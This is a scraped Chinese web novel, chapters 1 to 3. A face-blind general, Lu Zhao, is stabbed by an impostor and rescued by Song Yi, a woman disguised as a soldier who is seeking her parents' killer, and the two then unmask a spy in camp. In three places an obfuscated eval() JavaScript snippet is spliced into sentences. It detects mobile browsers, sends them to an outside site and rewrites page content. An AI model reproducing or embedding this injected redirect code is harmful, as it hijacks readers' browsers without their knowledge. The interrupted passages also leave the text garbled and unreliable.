《将军,这断袖是错付了》 1. 第 1 章 夜色沉沉,本该是万籁俱寂的时刻,伏山寨此时篝火通明,一群山贼模样的人推杯换盏,笑声骇人。仔细听似乎是在庆祝前几天成功反围剿了官兵,这其中二当家尚武的声音尤为刺耳。 “什么官府亲兵,不过都是些草包,我等只是略施小计,就将他们耍得团团转。”尚武面色潮红大声嚷嚷着。 三当家附和道,“就是就是,那个陆昭来了又如何,我看也只不过是徒有虚名。” 说话间,众人又是一阵爆笑,丝毫没察觉到在五里外,陆昭领了一众精兵已经悄然赶到。 赶了一天路的陆军们,早已精疲力竭,陆昭一声令下,准许他们稍作休息,等到后半夜再一举攻入山寨中,打山贼们个措手不及。 看着将士们三三两两靠在一块休息。陆昭默默走远,虽然此时的他腰背隐隐发酸,但是在彻底剿灭伏山寨之前,他不打算阖上眼。 陆昭独站在山头上,俯首冷眼看着不远处歌舞升平的山寨。大风呼啸,吹起他单薄的外衣,陆昭收了收衣角,仔细观察着周遭的环境,确保着今夜计划的万无一失。 “陆将军您赶路一天也辛苦了,歇息歇息吧。” 一阵人声传来,随后草丛中走出一个手上缠有红色手巾,身材瘦削的小兵,他默默走到陆昭身后,关切着说。 陆昭转头迅速打量着眼前之人,一眼瞥到了他举手投足间不经意露出来的红色手巾。 这人是陆昭的心腹手下小伍。陆昭还记得,这条红色手巾是小伍的心上人送他的,小伍不止一次地向军中人炫耀着这条手巾,满脸甜蜜地说着等打完与安廷的一战就回去迎娶心上人。 “我无妨,你先去休息吧。”陆昭转过头没再说话。 小伍的脚步声在陆昭耳畔响起,越来越迫近,直至走到了他的身旁。小伍循着陆昭的视线俯瞰着伏山寨的盛况,不久嗤之以鼻道: “这帮人竟然还敢夜夜笙歌,过了今夜,只怕是再也没命笑了。” 陆昭沉思了一小会,说:“事成之前不可大意。” 小伍突然俯身行礼,嘴里说着: “属下必定万事小心。” 陆昭点头致意,刚想转身,刚才还俯着身的小伍猛地站起。陆昭只觉得一阵银光闪过,本能反应之下,他向左一侧身,虽然躲到了致命的一击,但一把银匕首还是插在了他右胸前。 陆昭回身一掌打在小伍后背,他内心是不相信他会做出刺杀的行为的,所以在出力时还是收了三分。 “小伍你,你竟敢叛军。”陆昭冷冷盯着小伍,眼神中闪过一丝不可置信。 眼前这人受了一掌,嘴边渗出一点血。他随意擦去,轻笑着说: “陆昭,你好好看看,我是你口中的那个小伍吗?” 陆昭捂着胸口的伤,此时鲜血正大沽大沽地涌出。他努力地想看清那人的脸,但是愈想看清头就愈加晕眩。 “埋伏这么久,终于被我发现了。”那人得意地耍着匕首,缓缓说道:“堂堂陆大将军,竟然是个有盲症的,这话说出去谁都不会相信的吧。” 陆昭闻言眸光一沉,没想到他的脸盲之症还是被人发现了。 盲症是随着年数增长越来越严重的。陆昭小时候只是偶尔会认错人,成年后,就再也看不清身边人的脸了。所以,陆昭干脆就装出一副高傲不愿与人亲近的模样,就是为了不让人发现他的眼疾。 竟然被此人发现了,那必须速战速决。 陆昭立刻拔出腰间佩剑,却在刀锋出鞘之时,头更加昏胀起来。 不好!刚才一剑有毒! 陆昭扶着头,试图保持清醒,但脑中全回荡着那人桀桀的冷笑,他隐隐约约听到那人说:“陆昭啊陆昭,你也没想到会落到我手里吧。” 陆昭眉头轻皱,用力冷哼一声,用尽全力瞥见山崖一角,在意识尚存的最后之际,纵身一跃于天地间。 空气在那一刻停滞了。 “陆昭!” 只剩愤怒的吼叫声回荡在山峰间,惊起一阵栖息的孤鸟。漆黑的夜在陆昭扑通一声坠入河流后渐渐恢复平静。 *** 【这天早些时候】 今日正是休憩的一日,军中众人皆三五成群的去营帐的南山脚下的小河边沐浴净身。 宋易有意避开了他们,此时正一个人躲在营帐里浅算明日的运势。 宋易本是闲来无事,随手算算。但是,这一算竟然被她算出个大吉的运道。 就在宋易正在畅想明日该发生点什么好事的时候,营帐外传来男子高谈阔论之声。 “陆将军此去剿匪,都已经去了两日有余了,怎么还没回来,往常都是只需一日就能归来的。”阿云掀开营帐帘子走了进来,嘴上念叨着。 紧跟其后的是谢飞,他一脸不可置信的样子。“你难不成还在担心陆将军,肯定是路上又发生什么事耽搁了吧。” “也是也是。前些日看到陆将军策马扬鞭的模样,真是英姿焕发,非寻常人也。”阿云回忆起那时的场景,不禁感概道:“我何时也能像他一样功成名就啊。” “就你。”谢飞一点不收敛地大笑,“陆将军三岁能撑弓,七岁善骑御,到十八岁时,已经立下了赫赫战功。像我们这些寻常人,就不要期冀能有他这样的功绩了,能多杀几个安贼就已经是功德圆满喽。 阿云不好意思的挠挠头,“我这不是想想嘛,啊呀不和你说了。” 说完,阿云转头就撇见了缩在一旁的宋易。 “诶?宋易,你没去沐浴啊,我们走之时找你半天没找到,还以为你自己先去了呢。”阿云满脸真诚的说道,看得宋易都不好意思扯谎了。 “我太累了,刚才随便找了个地睡了会。”宋易背上旁边一个行囊,故作轻松地从他们身边经过。“天色不早了,我现在就去!现在就去啊!” “你动作快些吧,时间晚了岐山上就该起雾了。” 宋易刚走出营帐就听到身后谢飞的关切声,宋易高声说了句知道了,随后就小跑离去。 宋易一路小跑着下山,一路上也没遇到几个同袍,她心情轻松了些,不自禁哼起歌来。 月光洒在湖面上,波光粼粼。 宋易一见着水源,当即冲上前捧着水洗了把脸。她在军中总是灰头土脸的,好容易才洗净一次脸。 随后,她环视四周,确认无人后,迫不及待脱下衣衫。 宋易从未如此觉得水是洁净清爽之物,但她怕被人看见,所以没搓洗几下就匆匆爬上岸换了干净衣物。 她又从包袱中拿出来带血的衣物,这是前几日来月事时弄脏的。还好在军中流血受伤是常事,就算被人看到也不会生疑。 借着月光,宋易揉搓着衣物,血迹在溪水中蔓延开来,在月光映衬下,竟然平添一份诡异。 她歪着脑袋,用手轻舀起一捧血水,对着亮处暗自琢磨道:“这月月事怎得如此汹涌。” 不对劲。 宋易抬眼环顾四周,顺着河面真的发现鲜血蔓延的痕迹。随着她脚步的走近,血色愈烈。 这里竟然有个受伤的人! 宋易凑近一看,瞳孔瞬间放大。这这这,这是陆昭? 先前宋易只见过一回陆昭。她刚入军营那一日,陆昭身着红色戎装踏马而来,清朗的眉眼里敛藏着兵戈铮然,淡然一瞥,一腔英姿都要溢出戎装了。 那时给宋易都看呆了,她认知里的将军都是狠戾冷绝、粗旷幽邃的角色,但是眼前的陆昭分明不过和她一般大,是个霁月光风的少年郎。虽然这一路上她听过不少陆昭孤傲不群的传闻。但是,平叛乱,他运筹帷幄,除逆贼,他绝不手软。这样凌厉的将军,也很难不骄矜自持的吧。 这一刻,空气中弥漫的呛人的血腥味把宋易拉回现实。前几日还意气风发的陆小将军,此时正毫无血色地倒在血泊中,发丝凌乱,胸口汩汩流血。 “将军,将军。”宋易试着叫醒他,但陆昭铁青着脸,给不了一点回应。 要不现在就跑回去喊救兵?宋易脑子里首先冒出这个想法。她算算脚程,最快最快一个时辰的时间就足够折回了。 不行不行,她还是摇了摇脑袋。留陆昭在这,万一被山间野兽叼走岂不是更加危险。 既然这样,宋易看了眼陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844130|175748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭,小叹口气,伸手想将其先拉起来。 可手刚一触碰到他的手臂,陆昭突然睁开眼,瞬间将宋易的手反拉过来,宋易没站稳,一下跌倒在他怀里。 身下是宽阔又结实的胸膛,宋易轻咽了口水,再一抬头,两人间的距离只剩下不足半尺,她甚至能感受到陆昭的鼻息。 宋易也是第一次这么近距离看到陆昭的脸。 他的眉眼非常好看,一双细而长的丹凤眼微微上翘,睫毛浓密,剑眉微蹙,眼神虽然迷离但是眉眼深邃。 可惜宋易并没有多少时间花痴,因为陆昭似乎把她认成什么很坏的人。 她双手死命拽着陆昭掐着她脖子的那只手,使出浑身解数才说出几个字:“将。将军误会。” 陆昭听到她的声音,迷离的瞳孔这才回过神来。看到眼前一幕,他也是一愣,虽然松了手上八成的力,但并没有放开手。 宋易感受到那种窒息感过去了,一颗心才放下,赶紧出声道:“在下是新兵,姓宋名易。来此处沐浴,没想到碰见了将军您,方才是想背将军回军营呢。”宋易麻利地自报家门,又回以一个真诚的微笑。 陆昭微蹙的眉头皱得更深,他扫了一眼,发现宋易确实穿着军袄军裤,这才松开了手。 “送我回营。” 陆昭盯着她的眼神迷离起来,在留下这四个字后,扭头晕了过去。 宋易一愣,她又试探性地碰了碰他,确认他再无动静后,立马将其背了起来,直往山上冲。 虽然刚才这厮差点把她掐死,但是她小人不记大人过。毕竟拜托,救将军这种事可以大功一件啊。千载难逢的机会叫她给碰上了,果然出门算的那卦没错,大吉大吉! 越想越乐,宋易闷头向前,脚步不自觉加快了。等到累得想歇歇脚时,才发觉山间起雾了。 宋易暗叫不好,不敢停下脚步,咬紧牙关继续跑着,脑子想的都是军功啊,嘉奖之类的。 许是跑动动静太大,背上的人动了两下。 “将军您抱好我,军营很快就到了。”宋易汗如雨下,也咬牙说着。 但下一秒,她瞥见了面前枝干上的血迹,她走上前轻轻一捻。 是新鲜的。 坏了!遇到鬼打墙了。 “我们迷路了。”背上人的声音幽幽传来。 雾气越来越重了,烟雾缭绕,直叫人走路都打滑。宋易喘着气,环视四周,能看见的范围只在两尺左右。 “放我下来罢。”陆昭轻拍宋易肩膀。 宋易闻言,找了个粗壮的树,将陆昭放下靠着。 “陆将军,看来这雾气散去还得要一会。”宋易悻悻说道。 陆昭神情淡漠,手捂着右胸的伤口,半天才扯出一句: “无妨。” 随后两人相顾无言,宋易从包袱里掏出火折子,吹了一口。 火折子毫无反应。 果然。现在雾气重,氧气稀薄,火折子根本燃不起来,更别提生火了。 宋易只得作罢,她又看向陆昭,发现他此时正牢牢盯着她。 宋易被盯麻了,胡言道: “陆将军你先眯会吧,我守着你,不会有事的。” 虽然这份打包票宋易也是不信的,以她的三脚猫功夫,不拖累陆昭就算好的了。陆昭目光炯炯地看着她,估计也是这么想的。半天他又扯出一句: “不困。” 宋易这下没招了,但又不敢与其对视,做贼心虚般瞥向别处。 “将军,你怎么会出现在这啊,还受了伤。” 宋易无所顾忌地说着,原是觉得气氛尴尬,想找找话题,但无奈陆昭这下干脆一个字都不回了,气氛变得更加尴尬。 时间不知过去了多久,宋易两眼皮忍不住打架,但还是凭借顽强的意志抵抗住了瞌睡虫。 宋易再一看陆昭,他倒是精神不错,手交叉抱着胸前,低头不知在想些什么。 突然,不远处传来一声清脆的声响,是有人踩到了地上树枝发出来的动静。 两人一阵警觉,直直盯着那个方向。 那不是人。 2. 第 2 章 半分钟后,一只半人高的雄狮出现在眼前,它竖着鬃毛,张着血盆大口,从雾中走了出来。 暗金色的瞳孔死死盯着陆昭,似乎是循着血腥味找了许久。 此时的宋易脑瓜子嗡嗡作响,都在这山头待了月余了,可从未听过岐山还有山大王啊。 她一边盯着雄狮,一边手悄悄绕到包裹中摸啊摸,终于!被她摸到一把小刀。宋易呼了口气,庆幸走之前还带了家伙防身。 雄狮一步步走近了,看来它并不打算放过这唾手可得的美食。 宋易猛咽了口水,抽出小刀,大喊一声:“将军小心!”,随后就张牙舞爪冲上前去。 但还没等她跑两步,就被一股力量推到一边。宋易倒在地上,扶着脑袋抬头一看。 刚才还站在她身后的陆昭,此时已站在雄狮面前。 他身着一袭红黑相间的戎装,上面的血迹已经干涸,呈黑紫色。少年将军肩宽腰窄,身姿挺拔,干脆利落地落刀收刀,举手投足间尽是飒爽英姿。 随着雄狮顷刻随声倒地,宋易看呆,但很快恢复清醒。 因为她终于看清了陆昭手里拿着的小刀。 那是雁翎刀。 陆昭怎么会随身带着雁翎刀呢,宋易思绪很乱。 要知道,她正是因为要找这把刀才冒着杀头的危险,装扮成男的混入军营的。 鲜血从雁翎刀上滴答滴答掉落地上,融在泥土里,暗红的轨迹蜿蜒成河,与地面未干的泥浆混作浓稠的腥气。 是血。 两年前那个暴雨夜又在眼前炸开:阿爷阿娘的刀伤贯穿胸口,血沫混着雨水在青石板上蜿蜒。新月状的刀伤是唯一的线索,她苦苦调查了许久,终于得知这正是雁翎刀特有的弧度。 而此刻雁翎刀刀柄滴落的血珠,在她视网膜上晕染成阿娘涣散的瞳孔。 陆昭擦拭刀刃的动作突然顿住,青铜刀身映出宋易青白的脸。她猛地捂住嘴巴,胃袋翻涌着撞向喉咙,却死死咬住牙关不让自己吐出来。 陆昭察觉到她的异样,他看着雁翎刀在月光下寒气凛冽,将刀身一转,寒光闪过宋易的眉眼,让她不得不闭了下眼。 陆昭也不知道自己为什么要吓眼前这人,按照常理来说,他不会做这等无聊之事。但看到宋易直勾勾盯着这刀,他脑子突然蹦出一个念头: 吓吓他会很有趣。 但陆昭没料到,下一秒宋易直接拽住他的手腕。 别说陆昭了,宋易也没料到,看到他要将雁翎刀收起来,她脑子一热竟然直接对将军上手了,她有几个脑袋可以掉啊。 不管了,豁出去了。她在河边也算是救了陆昭一命啊,大不了厚着脸皮挟恩图报吧。 “陆..陆将军,你这刀杀过人吗?” 陆昭眉头上挑,感到意外。 “死于我刀下的人可太多了。毕竟,我不会让宝刀蒙尘。” 宋易眼神忽闪,又试探性说道: “陆将军光明磊落,除暴安良。想必刀下亡魂都是大奸大恶之人。” 陆昭眯起眼睛审视着宋易,她做出这以下犯上的举动,竟是要拐着弯夸他?她难道不怕他吗? 既然不怕,那陆昭就更来了兴致,冷哼一声说道: “谁说我光明磊落。本将军脾气可不好,要是惹怒了我,什么老弱妇孺,我皆不放过。” 果不其然,此言一出,宋易抖了三抖,但她不是在害怕。 她是愤怒。 原本她还不相信陆昭真如传闻中那般冷酷高傲,但从刚才的套话中,陆昭竟然能面不改色地说出残害妇孺老幼的话,她这下不得不怀疑陆昭是否是她正在寻的仇人。 不过越是如此,她越是要忍辱负重才行,不能叫仇人抓住把柄。 噗通一声闷响,宋易直接跪在地上。 “小的冒犯了陆将军,请您恕罪。” 清脆响亮的声音直冲山顶。下一秒,北风骤起,卷起宋易的长发,将她的声音吹散在山林间。 陆昭饶有兴致地看着眼前发抖的宋易,刚才明明还天不怕地不怕的模样,现在倒是低眉顺眼了。 他刚想再说些什么,但喉咙干痒起来,随后猛咳了几声,只觉胸口一滞,脚下发软。 看来在杀雄狮时,还是牵扯到了伤口。 宋易眼疾手快,趁陆昭还没倒下,一把扶住了他。 “将军,你没事吧。” 宋易假模假样地关心他。 陆昭平复了呼吸,轻轻推开宋易,说: “雾气散去了,回营。” 宋易不说话,跟在陆昭的身后,默默观察着他。 陆昭身高八尺有余,比宋易高了足足一个头。她不禁佩服自己,竟然能背着他走那么远的路。 想到这,她确实有些腰酸背痛起来,默默地锤着肩膀。 前面的陆昭冷不丁地回头问: “你是哪个营的?” 宋易连忙回道: “回将军,在下是中营梁校尉手底下的。” “梁安?”陆昭气势逼人,像极了审问犯人。 “正是。”宋易应着,眼神却不自觉看向陆昭怀中不经意露出的雁翎刀。 陆昭留意到她的眼神,紧了紧衣衫,转头继续赶路。 *** 两人没一炷香就到了军营外,哨兵们远远就看见陆昭。 不一会,好多人便围了上来,原来昨夜不仅陆昭遇刺坠入山崖,其余一行人也被伏击,死伤过半。没有陆昭的主持,此时的军营正乱成一团。 幸好陆昭得以平安归来,也算是群龙有首了。 “将军回来了!快去请军医。”方副将激动喊道。 “再去打几桶热水,给将军沐浴。”吴副将更加激动。 军官们将陆昭围成一团,宋易就这么渐渐被挤到一边,直到连陆昭的脸都看不到。 “我……”宋易本想说些什么,但很明显周围的人并没有一个在意她,她也就自讨没趣地闭上了嘴。 “宋易!!你怎么在这啊。” 耳边传来谢飞和阿云的声音,宋易一抬头果不其然是这两人。 “你昨晚一晚上没回来,是被困在山腰了吧。”谢飞问道。 宋易沮丧地点点头。 “你要小心点,梁校尉今早数人的时候没数到你,可是发火了。”阿云好意提醒道。 这一消息又如晴天霹雳般将她雷的外焦里嫩,昨日占卜的大吉在此时此刻显得更加讽刺。 *** 陆昭就这么被围着回到营帐中,整个军营里的军医都候在一旁。一番诊断下来,还好无恙,休息段时日就可以恢复了。 陆昭躺在床榻上,久久不能閤眼,他想起了那个叫宋易的人。 他竟然能看清他的脸,圆脸,杏仁眼,弯弯的眉毛像新月一般。不会有错的,他现在都能回忆出那人长什么样。 这可太奇怪了,明明他已经十余年记不住人脸了,而且这脸他总觉得格外熟悉。 陆昭猛地坐起来,喊道: “来人。” *** 梁安笑得上气不接下气,笑了好半天才勉强说出几个字 “你说,你说你昨天救了陆将军?” 宋易重重点点头。 “今早上没来训练,也是因为被困在山腰?”梁校尉笑得直拍肚子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844131|175748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋易苦笑着说:“梁校尉,你看我何时说过谎呀。” 这下,梁校尉的笑脸一下子拉了下来,吼道: “你从前是没说过谎。但是!没想到你一说谎,就编了这么个大谎!” 梁校尉转身拎起两桶水,将其甩给宋易。 “你给我把这两桶水举着,举到太阳落山!撒出来一滴就多练一个时辰。” 说完梁安潇洒地一个转身,他心里默默嘀咕着:难不成我还治不了你一个新兵了。正要迈开腿走开时,却看到陆昭营帐里的护军来了。 宋易只远远地看见这两人悄悄耳语了几句。这梁安又朝她走了过来,只不过,这次倒是笑得很谄媚。 “宋小兄弟呀,想不到你真是人小鬼大,噢不,是人不可貌相。” 说罢他一把夺过宋易手里的水桶,猛地一拍她的背,又说: “快去吧!陆将军找你呢。” 宋易汗颜,寻思这梁校尉的脸真是变幻自如,她走着走着又回头看了一眼他。 梁安对上宋易的眼神,尴尬一笑,自顾自地托举着水桶,在锻炼似的,假装什么都没发生。 宋易迅速转过头,强忍着笑意。 不一会,她就被带到陆昭的营帐前。陆昭的营帐矗立在军阵中央,营帐以厚实的牛皮制成,稳稳扎在地上。帐前,军旗猎猎,上书一个斗大的“陆”字。帐门两侧,卫兵手持长戟,目光冷峻地注视着前方。 “请吧。”护军向她致意。 宋易内心打鼓,深吸了好几口气,这才有勇气掀开帐子。 营帐正中是整木雕琢的蟠龙案几,桌面平整光滑,摆放着半卷竹简兵书。后方的榆木书架上,整齐叠放着皮质卷轴。兵器架上,长戟与环首刀并排而立。 陆昭换了一身常服,血色已恢复如常,此时是坐在正中的方椅上查阅军报。 宋易多看了几眼,后知后觉行礼道:“小的宋易,见过陆将军。” “嗯。”陆昭轻轻一应。 角落青铜香炉青烟袅袅,檀香混着帐外青草气息,弥漫在营帐内。 他将手边的一叠宣纸拿了起来,对宋易说:“上前来看。” 宋易闻声,站起身,凑上前去一瞅。 那纸上赫然画着人的画像。 “这几个人你认得否?”陆昭直直地盯着她。 宋易小心翼翼接过,几乎不假思索脱口说道:“这一张是方副将,还有这张是刘裨将。”宋易一连报了好几个人名,上到军中副将下到炊事兵都有。 “这不是张厨子吗。”看着最后一张厨子神采飞扬的模样,宋易忍着笑,说:“画得倒是传神。” “你才入军营月余,这些人竟全认的。”陆昭抽回宋易手中宣纸。 宋易暗笑,为了收集关于雁翎刀的线索,她多方打听,认个脸的事有何难。 “启禀将军,对于见过的人,小的确有过目不忘之能。”宋易挺起胸脯说着。“不知将军有何事交代小的,小的定竭尽全力为您排忧解难。” 陆昭点点头,思考了一会,开口道: “本将军现在需要你寸步不离。” 宋易瞪大双眼,不敢相信自己的耳朵听到了什么。她不过是认了些人,怎么直接升职成陆昭的贴身侍卫了。 “谢将军抬爱。”宋易扑通一下跪下,抱拳说:“属下就算是死也要护住将军。赴汤蹈火在所不辞。” “必要时候你护住自己性命就是最好。”听到宋易的话语,陆昭轻蔑地看着她说: “除此之外,你要留意本将军身边的所有人,”陆昭站起身走到宋易身边,重重拍了下她的肩膀,说: “并记住他们。” 3. 第 3 章 有小兵救了陆将军的消息如平地一声惊雷般迅速传遍整个军营,路过的人纷纷扭头看向陆昭的营帐,想看看这个幸运儿是谁。 半晌,营帐终于动了,宋易从里面走了出来。 众人惊愕,这头等功,竟被这么一个菜若木鸡的人抢了。 臭小子,命可真够好的。 宋易也觉得自己命好。 好不容易追寻着雁翎刀的线索,却被告知这刀是先帝在位时期锻造的,目前全都充作军用,普通老百姓是万万接触不到的。所以她也就义无反顾地参军了。 入军营已一月有余。前日里陆昭率兵剿匪,她趁着守卫松懈之时,潜入兵器营,却发现时至今日雁翎刀早被其他更加轻便又顺手的刀具替代,现如今就算在军营中都很难找到其踪迹。 但是还好,天无绝人之路,让她出来沐浴捡了个将军回来,不仅追查到了雁翎刀的踪迹,还被提拔为贴身侍卫。 接下来她便要努力套出陆昭的话来,这雁翎刀几乎消失殆尽,即使陆昭不是真正的凶手,他也一定知道其他刀的去向。 宋易内心起了波澜,有种按耐不住的期待和紧张。 不过她很快强迫自己保持冷静,毕竟现在的当务之急是帮陆昭办好第一件事才行。 回想起刚才陆昭吩咐她做的事,她的心脏又砰砰作响。 “肯定没问题的。” 她如是想。 *** 暮色如墨,渐渐浸透整个军营。几盏摇曳的油灯,在营房里投下昏黄而破碎的光影,忽明忽暗地映照着一张张疲惫的面孔。空气中弥漫着混杂着汗酸味、铁锈味和草料气息的浑浊味道。 “没想到竟然是你救了陆将军。”谢飞不敢置信地看着宋易。“更没想到将军还提拔你做贴身侍卫。” 宋易不好意思地挠挠头,说:“对不住了兄弟们,今夜陪你们最后一晚,明儿我就去将军营帐了。” “害,你这小身板真能护得住将军吗”谢飞无奈摇头道。 “陆将军那是看中了我的机灵聪明。”宋易大拍胸脯,衣襟处露出闪光。 谢飞眼尖一把抢过宋易怀中的物品,大声嘟嚷着:“这玩意儿也是将军赏你的?” 本在一旁笑眼看着的阿云重重撞了下他肩膀,将他手上的东西夺了过来,说:“一看就是贵重的宝贝,你别毛手毛脚的。” 手中的护心镜在昏弱的烛火映照下熠熠发光。 “不过这么精致的物件还是第一次见。”阿云端详了一会,将护心镜还给了宋易。 宋易摆摆手,说:“这是将军赠我的护心镜,我救陆将军一命,将军也保我一命。” 帐中其他人听了动静,也纷纷围过来看热闹,宋易气焰嚣张地将护心镜在那些人面前一一闪过。 “以后犯了什么事,只要拿出这护心镜,便可抵一命。” 闻言总人一阵惊呼,很是羡慕。 “上阵杀敌时,难道敌人还忌惮你的护心镜不成,有什么好显摆的。” 人群外传来不合群的声音。 宋易挑眉望去,一群神情恍惚的人围坐在一起,眼神空洞洞的。 那群人正是前些日子跟着将军去剿匪的部下,二百人去,回来只剩不足几十人。如今,方副将将他们重新编入中营中,与宋易一伙人一同操练。 “你们这些人好意思说吗。”谢飞也听到了,不满地喊道。 “上阵杀敌时,也不见你们冲在前面啊。不然,为何陆将军负伤不见踪影,你们毫发无损!” 刘永本就一腔怒火无法发泄,听到谢飞刺耳的话语,立马气得跳起来。 “你个胖成球的黑鬼,在这嚼什么舌根。” 谢飞也是个暴脾气的,当场卷起袖子,作势要打。 其他人也积怨许久,看着局面伺机而动,就等着谁先动手。眼看两拨人就要打起来了,宋易连忙往他们中间一站。 “两位好哥哥,快别说了。”她拦住谢飞,“既然大家都是效忠于大庆,效忠于天子,那就是一家兄弟。” 宋易又拍拍黑脸的刘永,说:“敌人未除,怎么能自家人先打起来了呢。” 两拨人听了暂时冷静了下来。 “不过,就怕有人和咱们不是一条心。”气氛刚缓解,宋易又突然冒出这么一句,人群顿时又炸开锅。 “你这话什么意思。” 几百双眼睛直勾勾盯着宋易,大气不敢喘一下。宋易沉默了几秒,突然咧嘴笑道: “你们明日就知道了。” *** 翌日,第一道阳光照进帷帐里,众人都还沉睡在梦乡中,突然几个手举茅枪的人闯了进来。再一眨眼,整个中营的将士都被赶到了练武场。 几个困得睁不开眼的小兵,嘴里还骂骂咧咧的,一抹眼睛,看到前方高台上坐着的人是谁时,顿时吓得瑟瑟发抖。 陆昭一只手持军书,一手撑着脑袋。他薄唇紧抿,乌黑的长发束起,身着一袭黑色劲装,上面绣着银色的暗纹,外披一件黑色披风。虽然视线并没有落在那些人身上,但那不怒自威的架势还是让底下众人闭上了嘴巴。 鸦雀无声。 一名副将清点完人数,小跑到陆昭身边,低声轻语了几句。 陆昭听罢这才抬起眼眸,放下手中的书,点头示意底下的人,只见他薄唇轻启: “所有人,把衣服脱了。” 此言一出,底下果然纷纷挠头,搞不明白陆昭想干什么。 “前日将军遇刺,与敌人交手时,打伤其后背。”方副将高声喊道,“这刺客就是营中之人,谁背上有伤,谁就是细作!” 底下之人哗然一片,既是震惊营中有细作,也是震惊将军坠崖是被刺杀。 在众目睽睽之下,大家不得以脱下外衣。 这是宋易的主意,所以她也早有防备,昨夜入睡前将胸裹得严严实实的。就算被盘问,只需对外说是前日救将军时负了伤即可。毕竟,全军都知道宋易救了陆昭一命,自然也不会怀疑她。 不一会儿人群中发出一声尖叫。 “刘永背上有伤,细作是他!。” 众人随声看过,刘永赤裸着上衣,背上果然有个大掌印。 他此时抱着衣物不知所措,慌忙说: “我不是细作!昨夜我解手之时,被人打了一下,这才留下了掌印。” “那你可看清是谁打你的。”旁边人厉声问道。 刘永气势一下弱了,颤颤巍巍说道:“不曾看清。” “是他,就是他!”众人愤怒的声音此起彼伏。“是他害了将军。” 陆昭将一切看在眼里,他沉默着,向他勾了勾手,两边立马有人将刘永抬到了跟前。 刘永嘴里喊着冤枉,邦邦磕头,下一秒感觉□□一股热流涌过。 方副将嫌弃地捂住口鼻,心中暗自嘲笑这人竟然如此不堪重用。还没怎么样呢,就被吓失禁了。 陆昭看了他一眼,面无表情地问道: “你说昨夜有人打了你一掌,当真一点没看清?” “没….没有,小的虽然没看清那人长什么样。但是!回头想寻那人的时候,看见地上脚印嵌着些许桂花花瓣的残渣。想来那人肯定是去过水池。” 水池在军营的东南角,平时并没有什么人去。那一片种满桂花树,昨夜风大,吹散许多桂花,只要去过鞋上必然会粘些花瓣残渣。 “来人,把鞋底粘有桂花花瓣的人抓起来。”方副将立马反应过来。 一会过去,又抓上来了三个人。 “将军明察,昨夜小的照例去水库挑水。”瘦小的一人哭着喊道:“小的一进去发现水池一点水都没有就回来了。再没有去过任何地方,更别提去打刘永了。” 另一个人哭得更凶,匍匐几步,抱着陆昭的脚:“小的是后厨的,这几日见桂花开的甚好,摘了想给将军做桂花饼!绝无可能是细作啊。” 陆昭抽出被那人抱着的脚,看着上面一把眼泪一把鼻涕,他脸上青筋都暴了起来。 “来人,先把他打十板子。” 在桂花饼厨子的哀嚎声中,第三个人张队正开口了。 “启禀将军,我从未去过水池,更没见过桂花树。这鞋根本不是我的。” 方副将抢着说道:“这鞋穿在你脚上,不是你的是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844132|175748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” “这……”张队正无言以对,只低头沉思着。 场面陷入了僵局。陆昭看向正对他挤眉弄眼的宋易。 “宋易,来。” 陆昭沉声道,声如惊雷破空。原本窃窃私语的将领们瞬间噤声,齐刷刷将目光投向宋易。 宋易整理好着装,迎着众人的目光,直直走向高台,他腰间若隐若现的护心镜也折射出刺目的冷光。 她一一查看了这三个人后,转向陆昭,拱手道:“启禀陆将军,这三个人都不是细作。” “那是谁?” 宋易站起身,指向旁边那人,“细作就是你!” 几千双眼睛紧紧盯着宋易的动向,为了占据更好的视野,推挤之声渐起。那执戟卫兵也看得神痴,早将维持肃静之事抛至九霄云外。 被指到的方副将一脸讶异,他急得直接抽出了剑,叫到:“胡言乱语!怎么可能是我。” 宋易朝他逼近了几步,方副将紧张地向后退。 “方副将!请您让一下。”宋易终于忍不住说道。 随着他一侧身,宋易立马指向他身后站着的人。 “细作是你吧,刘裨将。” 本来低头站在一旁的刘裨将诧异地抬起头,慌忙摇头道:“我背上并无掌印,你这毛头小子胡说八道什么。” 地下站着的将士中有不少人同刘裨将交情不错,此时也高声替他平反道: “就是啊,刘裨将最是忠心耿耿,怎么可能是他呢。” “剿匪当天,刘裨将也中了匪盗的伏击受了伤啊。” 三两个人的声音瞬间引起巨大反响,更多的人出声为其鸣不平。 “我昨日故意卖了个关子,然后把今日会检查后背的消息告诉了谢飞,又特意叮嘱他把消息扩散出去。” 宋易走到了刘裨将的身前,继续说: “你背上当然没掌印了。背上的掌印就是个幌子,目的就是要让心虚之人露出马脚。”宋易嘴角勾出一抹笑意,“你心虚,所以想看看自己的背上到底有没有掌印,水池没水,你就想着来偷我的护心镜!” 刘裨将憋红了脸,说:“一派胡言!你有什么证据!” 